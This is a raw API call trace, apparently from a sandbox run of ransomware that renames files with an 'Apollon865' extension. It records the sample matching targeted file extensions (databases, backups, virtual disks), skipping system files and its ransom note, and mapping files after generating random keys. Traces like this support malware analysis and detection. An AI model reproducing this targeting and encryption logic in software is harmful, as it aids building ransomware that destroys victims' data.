	[0082.445] lstrlenW (lpString="orx") returned 3
	[0082.445] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1
	[0082.445] lstrlenW (lpString="owc") returned 3
	[0082.445] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1
	[0082.445] lstrlenW (lpString="p96") returned 3
	[0082.445] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1
	[0082.445] lstrlenW (lpString="p97") returned 3
	[0082.445] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1
	[0082.445] lstrlenW (lpString="pan") returned 3
	[0082.445] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1
	[0082.445] lstrlenW (lpString="pdb") returned 3
	[0082.446] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1
	[0082.446] lstrlenW (lpString="pdm") returned 3
	[0082.446] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1
	[0082.446] lstrlenW (lpString="pnz") returned 3
	[0082.446] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1
	[0082.446] lstrlenW (lpString="qry") returned 3
	[0082.446] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1
	[0082.446] lstrlenW (lpString="qvd") returned 3
	[0082.446] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1
	[0082.446] lstrlenW (lpString="rbf") returned 3
	[0082.446] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1
	[0082.446] lstrlenW (lpString="rctd") returned 4
	[0082.446] lstrcmpiW (lpString1="_dll", lpString2="rctd") returned -1
	[0082.446] lstrlenW (lpString="rod") returned 3
	[0082.446] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1
	[0082.446] lstrlenW (lpString="rodx") returned 4
	[0082.446] lstrcmpiW (lpString1="_dll", lpString2="rodx") returned -1
	[0082.446] lstrlenW (lpString="rpd") returned 3
	[0082.446] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1
	[0082.446] lstrlenW (lpString="rsd") returned 3
	[0082.446] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1
	[0082.446] lstrlenW (lpString="sas7bdat") returned 8
	[0082.446] lstrcmpiW (lpString1=".trx_dll", lpString2="sas7bdat") returned -1
	[0082.446] lstrlenW (lpString="sbf") returned 3
	[0082.446] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1
	[0082.446] lstrlenW (lpString="scx") returned 3
	[0082.446] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1
	[0082.446] lstrlenW (lpString="sdb") returned 3
	[0082.446] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1
	[0082.446] lstrlenW (lpString="sdc") returned 3
	[0082.446] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1
	[0082.446] lstrlenW (lpString="sdf") returned 3
	[0082.446] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1
	[0082.446] lstrlenW (lpString="sis") returned 3
	[0082.446] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1
	[0082.446] lstrlenW (lpString="spq") returned 3
	[0082.446] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1
	[0082.447] lstrlenW (lpString="te") returned 2
	[0082.447] lstrcmpiW (lpString1="ll", lpString2="te") returned -1
	[0082.447] lstrlenW (lpString="teacher") returned 7
	[0082.447] lstrcmpiW (lpString1="trx_dll", lpString2="teacher") returned 1
	[0082.447] lstrlenW (lpString="tmd") returned 3
	[0082.447] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1
	[0082.447] lstrlenW (lpString="tps") returned 3
	[0082.447] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1
	[0082.447] lstrlenW (lpString="trc") returned 3
	[0082.447] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0082.447] lstrlenW (lpString="trc") returned 3
	[0082.447] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0082.447] lstrlenW (lpString="trm") returned 3
	[0082.447] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1
	[0082.447] lstrlenW (lpString="udb") returned 3
	[0082.447] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1
	[0082.447] lstrlenW (lpString="udl") returned 3
	[0082.447] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1
	[0082.447] lstrlenW (lpString="usr") returned 3
	[0082.447] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1
	[0082.447] lstrlenW (lpString="v12") returned 3
	[0082.447] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1
	[0082.447] lstrlenW (lpString="vis") returned 3
	[0082.447] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1
	[0082.447] lstrlenW (lpString="vpd") returned 3
	[0082.447] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1
	[0082.447] lstrlenW (lpString="vvv") returned 3
	[0082.447] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1
	[0082.447] lstrlenW (lpString="wdb") returned 3
	[0082.447] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1
	[0082.447] lstrlenW (lpString="wmdb") returned 4
	[0082.447] lstrcmpiW (lpString1="_dll", lpString2="wmdb") returned -1
	[0082.447] lstrlenW (lpString="wrk") returned 3
	[0082.447] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1
	[0082.447] lstrlenW (lpString="xdb") returned 3
	[0082.447] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1
	[0082.447] lstrlenW (lpString="xld") returned 3
	[0082.448] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1
	[0082.448] lstrlenW (lpString="xmlff") returned 5
	[0082.448] lstrcmpiW (lpString1="x_dll", lpString2="xmlff") returned -1
	[0082.448] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\XLINTL32.DLL.trx_dll.Apollon865") returned 83
	[0082.448] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\XLINTL32.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\xlintl32.dll.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\XLINTL32.DLL.trx_dll.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\xlintl32.dll.trx_dll.apollon865"), dwFlags=0x1) returned 1
	[0082.454] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\XLINTL32.DLL.trx_dll.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\xlintl32.dll.trx_dll.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0082.454] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=145760) returned 1
	[0082.454] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0082.454] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0082.454] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0082.454] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0082.455] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0082.455] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0082.456] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x23c60, lpName=0x0) returned 0x15c
	[0082.468] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x23c60) returned 0x120000
	[0082.488] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0082.490] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0082.490] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0082.490] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0082.490] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0082.490] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0082.490] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0082.490] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0082.490] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0082.490] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0082.490] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0082.490] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0082.490] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0082.490] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0082.492] CloseHandle (hObject=0x15c) returned 1
	[0082.492] CloseHandle (hObject=0x9c) returned 1
	[0082.492] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0082.492] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0082.492] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0082.493] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x61df1900, ftCreationTime.dwHighDateTime=0x1cac820, ftLastAccessTime.dwLowDateTime=0xef116910, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x61df1900, ftLastWriteTime.dwHighDateTime=0x1cac820, nFileSizeHigh=0x0, nFileSizeLow=0x126760, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="XLINTL32.REST.trx_dll", cAlternateFileName="XLINTL~2.TRX")) returned 1
	[0082.493] lstrcmpiW (lpString1="XLINTL32.REST.trx_dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0082.493] lstrcmpiW (lpString1="XLINTL32.REST.trx_dll", lpString2="Apollon865.txt.exe") returned 1
	[0082.493] lstrcmpiW (lpString1="XLINTL32.REST.trx_dll", lpString2=".") returned 1
	[0082.493] lstrcmpiW (lpString1="XLINTL32.REST.trx_dll", lpString2="..") returned 1
	[0082.493] lstrcmpiW (lpString1="XLINTL32.REST.trx_dll", lpString2="windows") returned 1
	[0082.493] lstrcmpiW (lpString1="XLINTL32.REST.trx_dll", lpString2="bootmgr") returned 1
	[0082.493] lstrcmpiW (lpString1="XLINTL32.REST.trx_dll", lpString2="temp") returned 1
	[0082.494] lstrcmpiW (lpString1="XLINTL32.REST.trx_dll", lpString2="pagefile.sys") returned 1
	[0082.494] lstrcmpiW (lpString1="XLINTL32.REST.trx_dll", lpString2="boot") returned 1
	[0082.494] lstrcmpiW (lpString1="XLINTL32.REST.trx_dll", lpString2="ids.txt") returned 1
	[0082.494] lstrcmpiW (lpString1="XLINTL32.REST.trx_dll", lpString2="ntuser.dat") returned 1
	[0082.494] lstrcmpiW (lpString1="XLINTL32.REST.trx_dll", lpString2="perflogs") returned 1
	[0082.494] lstrcmpiW (lpString1="XLINTL32.REST.trx_dll", lpString2="MSBuild") returned 1
	[0082.494] lstrlenW (lpString="XLINTL32.REST.trx_dll") returned 21
	[0082.494] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\XLINTL32.DLL.trx_dll") returned 72
	[0082.494] lstrcpyW (in: lpString1=0x119e670, lpString2="XLINTL32.REST.trx_dll" | out: lpString1="XLINTL32.REST.trx_dll") returned="XLINTL32.REST.trx_dll"
	[0082.494] lstrlenW (lpString="XLINTL32.REST.trx_dll") returned 21
	[0082.494] lstrlenW (lpString="Apollon865") returned 10
	[0082.494] lstrcmpiW (lpString1="ST.trx_dll", lpString2="Apollon865") returned 1
	[0082.494] lstrlenW (lpString=".dll") returned 4
	[0082.494] lstrcmpiW (lpString1="XLINTL32.REST.trx_dll", lpString2=".dll") returned 1
	[0082.494] lstrlenW (lpString=".lnk") returned 4
	[0082.494] lstrcmpiW (lpString1="XLINTL32.REST.trx_dll", lpString2=".lnk") returned 1
	[0082.494] lstrlenW (lpString=".ini") returned 4
	[0082.494] lstrcmpiW (lpString1="XLINTL32.REST.trx_dll", lpString2=".ini") returned 1
	[0082.494] lstrlenW (lpString=".sys") returned 4
	[0082.494] lstrcmpiW (lpString1="XLINTL32.REST.trx_dll", lpString2=".sys") returned 1
	[0082.494] lstrlenW (lpString="XLINTL32.REST.trx_dll") returned 21
	[0082.495] lstrlenW (lpString="bak") returned 3
	[0082.495] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1
	[0082.495] lstrlenW (lpString="ba_") returned 3
	[0082.495] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1
	[0082.495] lstrlenW (lpString="dbb") returned 3
	[0082.495] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1
	[0082.495] lstrlenW (lpString="vmdk") returned 4
	[0082.495] lstrcmpiW (lpString1="_dll", lpString2="vmdk") returned -1
	[0082.495] lstrlenW (lpString="rar") returned 3
	[0082.495] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1
	[0082.495] lstrlenW (lpString="zip") returned 3
	[0082.495] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1
	[0082.495] lstrlenW (lpString="tgz") returned 3
	[0082.495] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1
	[0082.495] lstrlenW (lpString="vbox") returned 4
	[0082.495] lstrcmpiW (lpString1="_dll", lpString2="vbox") returned -1
	[0082.495] lstrlenW (lpString="vdi") returned 3
	[0082.495] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1
	[0082.495] lstrlenW (lpString="vhd") returned 3
	[0082.495] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1
	[0082.495] lstrlenW (lpString="vhdx") returned 4
	[0082.495] lstrcmpiW (lpString1="_dll", lpString2="vhdx") returned -1
	[0082.495] lstrlenW (lpString="avhd") returned 4
	[0082.495] lstrcmpiW (lpString1="_dll", lpString2="avhd") returned -1
	[0082.495] lstrlenW (lpString="db") returned 2
	[0082.495] lstrcmpiW (lpString1="ll", lpString2="db") returned 1
	[0082.495] lstrlenW (lpString="db2") returned 3
	[0082.495] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1
	[0082.495] lstrlenW (lpString="db3") returned 3
	[0082.495] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1
	[0082.495] lstrlenW (lpString="dbf") returned 3
	[0082.495] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1
	[0082.495] lstrlenW (lpString="mdf") returned 3
	[0082.495] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1
	[0082.495] lstrlenW (lpString="mdb") returned 3
	[0082.495] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1
	[0082.495] lstrlenW (lpString="sql") returned 3
	[0082.495] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1
	[0082.496] lstrlenW (lpString="sqlite") returned 6
	[0082.496] lstrcmpiW (lpString1="rx_dll", lpString2="sqlite") returned -1
	[0082.496] lstrlenW (lpString="sqlite3") returned 7
	[0082.496] lstrcmpiW (lpString1="trx_dll", lpString2="sqlite3") returned 1
	[0082.496] lstrlenW (lpString="sqlitedb") returned 8
	[0082.496] lstrcmpiW (lpString1=".trx_dll", lpString2="sqlitedb") returned -1
	[0082.496] lstrlenW (lpString="xml") returned 3
	[0082.496] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1
	[0082.496] lstrlenW (lpString="$er") returned 3
	[0082.496] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1
	[0082.496] lstrlenW (lpString="4dd") returned 3
	[0082.496] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1
	[0082.496] lstrlenW (lpString="4dl") returned 3
	[0082.496] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1
	[0082.496] lstrlenW (lpString="^^^") returned 3
	[0082.496] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1
	[0082.496] lstrlenW (lpString="abs") returned 3
	[0082.496] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1
	[0082.496] lstrlenW (lpString="abx") returned 3
	[0082.496] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1
	[0082.496] lstrlenW (lpString="accdb") returned 5
	[0082.496] lstrcmpiW (lpString1="x_dll", lpString2="accdb") returned 1
	[0082.496] lstrlenW (lpString="accdc") returned 5
	[0082.496] lstrcmpiW (lpString1="x_dll", lpString2="accdc") returned 1
	[0082.496] lstrlenW (lpString="accde") returned 5
	[0082.496] lstrcmpiW (lpString1="x_dll", lpString2="accde") returned 1
	[0082.496] lstrlenW (lpString="accdr") returned 5
	[0082.496] lstrcmpiW (lpString1="x_dll", lpString2="accdr") returned 1
	[0082.496] lstrlenW (lpString="accdt") returned 5
	[0082.496] lstrcmpiW (lpString1="x_dll", lpString2="accdt") returned 1
	[0082.496] lstrlenW (lpString="accdw") returned 5
	[0082.496] lstrcmpiW (lpString1="x_dll", lpString2="accdw") returned 1
	[0082.496] lstrlenW (lpString="accft") returned 5
	[0082.496] lstrcmpiW (lpString1="x_dll", lpString2="accft") returned 1
	[0082.496] lstrlenW (lpString="adb") returned 3
	[0082.496] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0082.497] lstrlenW (lpString="adb") returned 3
	[0082.497] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0082.497] lstrlenW (lpString="ade") returned 3
	[0082.497] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1
	[0082.497] lstrlenW (lpString="adf") returned 3
	[0082.497] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1
	[0082.497] lstrlenW (lpString="adn") returned 3
	[0082.497] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1
	[0082.497] lstrlenW (lpString="adp") returned 3
	[0082.497] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1
	[0082.497] lstrlenW (lpString="alf") returned 3
	[0082.497] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1
	[0082.497] lstrlenW (lpString="ask") returned 3
	[0082.497] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1
	[0082.497] lstrlenW (lpString="btr") returned 3
	[0082.497] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1
	[0082.497] lstrlenW (lpString="cat") returned 3
	[0082.497] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1
	[0082.497] lstrlenW (lpString="cdb") returned 3
	[0082.497] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1
	[0082.497] lstrlenW (lpString="ckp") returned 3
	[0082.497] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1
	[0082.497] lstrlenW (lpString="cma") returned 3
	[0082.497] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1
	[0082.497] lstrlenW (lpString="cpd") returned 3
	[0082.497] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1
	[0082.497] lstrlenW (lpString="dacpac") returned 6
	[0082.497] lstrcmpiW (lpString1="rx_dll", lpString2="dacpac") returned 1
	[0082.497] lstrlenW (lpString="dad") returned 3
	[0082.497] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1
	[0082.497] lstrlenW (lpString="dadiagrams") returned 10
	[0082.497] lstrcmpiW (lpString1="ST.trx_dll", lpString2="dadiagrams") returned 1
	[0082.497] lstrlenW (lpString="daschema") returned 8
	[0082.497] lstrcmpiW (lpString1=".trx_dll", lpString2="daschema") returned -1
	[0082.497] lstrlenW (lpString="db-journal") returned 10
	[0082.497] lstrcmpiW (lpString1="ST.trx_dll", lpString2="db-journal") returned 1
	[0082.497] lstrlenW (lpString="db-shm") returned 6
	[0082.497] lstrcmpiW (lpString1="rx_dll", lpString2="db-shm") returned 1
	[0082.498] lstrlenW (lpString="db-wal") returned 6
	[0082.498] lstrcmpiW (lpString1="rx_dll", lpString2="db-wal") returned 1
	[0082.498] lstrlenW (lpString="dbc") returned 3
	[0082.498] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1
	[0082.498] lstrlenW (lpString="dbs") returned 3
	[0082.498] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1
	[0082.498] lstrlenW (lpString="dbt") returned 3
	[0082.498] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1
	[0082.498] lstrlenW (lpString="dbv") returned 3
	[0082.498] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1
	[0082.498] lstrlenW (lpString="dbx") returned 3
	[0082.498] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1
	[0082.498] lstrlenW (lpString="dcb") returned 3
	[0082.498] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1
	[0082.498] lstrlenW (lpString="dct") returned 3
	[0082.498] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1
	[0082.498] lstrlenW (lpString="dcx") returned 3
	[0082.498] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1
	[0082.498] lstrlenW (lpString="ddl") returned 3
	[0082.498] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1
	[0082.498] lstrlenW (lpString="dlis") returned 4
	[0082.498] lstrcmpiW (lpString1="_dll", lpString2="dlis") returned -1
	[0082.498] lstrlenW (lpString="dp1") returned 3
	[0082.498] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1
	[0082.498] lstrlenW (lpString="dqy") returned 3
	[0082.498] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1
	[0082.498] lstrlenW (lpString="dsk") returned 3
	[0082.498] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1
	[0082.498] lstrlenW (lpString="dsn") returned 3
	[0082.498] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1
	[0082.498] lstrlenW (lpString="dtsx") returned 4
	[0082.498] lstrcmpiW (lpString1="_dll", lpString2="dtsx") returned -1
	[0082.498] lstrlenW (lpString="dxl") returned 3
	[0082.498] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1
	[0082.498] lstrlenW (lpString="eco") returned 3
	[0082.498] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1
	[0082.498] lstrlenW (lpString="ecx") returned 3
	[0082.499] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1
	[0082.499] lstrlenW (lpString="edb") returned 3
	[0082.499] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1
	[0082.499] lstrlenW (lpString="epim") returned 4
	[0082.499] lstrcmpiW (lpString1="_dll", lpString2="epim") returned -1
	[0082.499] lstrlenW (lpString="fcd") returned 3
	[0082.499] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1
	[0082.499] lstrlenW (lpString="fdb") returned 3
	[0082.499] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1
	[0082.499] lstrlenW (lpString="fic") returned 3
	[0082.499] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1
	[0082.499] lstrlenW (lpString="flexolibrary") returned 12
	[0082.499] lstrcmpiW (lpString1="REST.trx_dll", lpString2="flexolibrary") returned 1
	[0082.499] lstrlenW (lpString="fm5") returned 3
	[0082.499] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1
	[0082.499] lstrlenW (lpString="fmp") returned 3
	[0082.499] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1
	[0082.499] lstrlenW (lpString="fmp12") returned 5
	[0082.499] lstrcmpiW (lpString1="x_dll", lpString2="fmp12") returned 1
	[0082.499] lstrlenW (lpString="fmpsl") returned 5
	[0082.499] lstrcmpiW (lpString1="x_dll", lpString2="fmpsl") returned 1
	[0082.499] lstrlenW (lpString="fol") returned 3
	[0082.499] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1
	[0082.499] lstrlenW (lpString="fp3") returned 3
	[0082.499] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1
	[0082.499] lstrlenW (lpString="fp4") returned 3
	[0082.499] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1
	[0082.499] lstrlenW (lpString="fp5") returned 3
	[0082.499] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1
	[0082.499] lstrlenW (lpString="fp7") returned 3
	[0082.499] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1
	[0082.499] lstrlenW (lpString="fpt") returned 3
	[0082.499] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1
	[0082.499] lstrlenW (lpString="frm") returned 3
	[0082.499] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1
	[0082.499] lstrlenW (lpString="gdb") returned 3
	[0082.499] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0082.499] lstrlenW (lpString="gdb") returned 3
	[0082.500] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0082.500] lstrlenW (lpString="grdb") returned 4
	[0082.500] lstrcmpiW (lpString1="_dll", lpString2="grdb") returned -1
	[0082.500] lstrlenW (lpString="gwi") returned 3
	[0082.500] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1
	[0082.500] lstrlenW (lpString="hdb") returned 3
	[0082.500] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1
	[0082.500] lstrlenW (lpString="his") returned 3
	[0082.500] lstrcmpiW (lpString1="dll", lpString2="his") returned -1
	[0082.500] lstrlenW (lpString="ib") returned 2
	[0082.500] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1
	[0082.500] lstrlenW (lpString="idb") returned 3
	[0082.500] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1
	[0082.500] lstrlenW (lpString="ihx") returned 3
	[0082.500] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1
	[0082.500] lstrlenW (lpString="itdb") returned 4
	[0082.500] lstrcmpiW (lpString1="_dll", lpString2="itdb") returned -1
	[0082.500] lstrlenW (lpString="itw") returned 3
	[0082.500] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1
	[0082.500] lstrlenW (lpString="jet") returned 3
	[0082.500] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1
	[0082.500] lstrlenW (lpString="jtx") returned 3
	[0082.500] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1
	[0082.500] lstrlenW (lpString="kdb") returned 3
	[0082.500] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1
	[0082.500] lstrlenW (lpString="kexi") returned 4
	[0082.500] lstrcmpiW (lpString1="_dll", lpString2="kexi") returned -1
	[0082.500] lstrlenW (lpString="kexic") returned 5
	[0082.500] lstrcmpiW (lpString1="x_dll", lpString2="kexic") returned 1
	[0082.500] lstrlenW (lpString="kexis") returned 5
	[0082.500] lstrcmpiW (lpString1="x_dll", lpString2="kexis") returned 1
	[0082.500] lstrlenW (lpString="lgc") returned 3
	[0082.500] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1
	[0082.500] lstrlenW (lpString="lwx") returned 3
	[0082.500] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1
	[0082.500] lstrlenW (lpString="maf") returned 3
	[0082.500] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1
	[0082.501] lstrlenW (lpString="maq") returned 3
	[0082.501] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1
	[0082.501] lstrlenW (lpString="mar") returned 3
	[0082.501] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1
	[0082.501] lstrlenW (lpString="marshal") returned 7
	[0082.501] lstrcmpiW (lpString1="trx_dll", lpString2="marshal") returned 1
	[0082.501] lstrlenW (lpString="mas") returned 3
	[0082.501] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1
	[0082.501] lstrlenW (lpString="mav") returned 3
	[0082.501] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1
	[0082.501] lstrlenW (lpString="maw") returned 3
	[0082.501] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1
	[0082.501] lstrlenW (lpString="mdbhtml") returned 7
	[0082.501] lstrcmpiW (lpString1="trx_dll", lpString2="mdbhtml") returned 1
	[0082.501] lstrlenW (lpString="mdn") returned 3
	[0082.501] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1
	[0082.501] lstrlenW (lpString="mdt") returned 3
	[0082.501] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1
	[0082.501] lstrlenW (lpString="mfd") returned 3
	[0082.501] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1
	[0082.501] lstrlenW (lpString="mpd") returned 3
	[0082.501] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1
	[0082.501] lstrlenW (lpString="mrg") returned 3
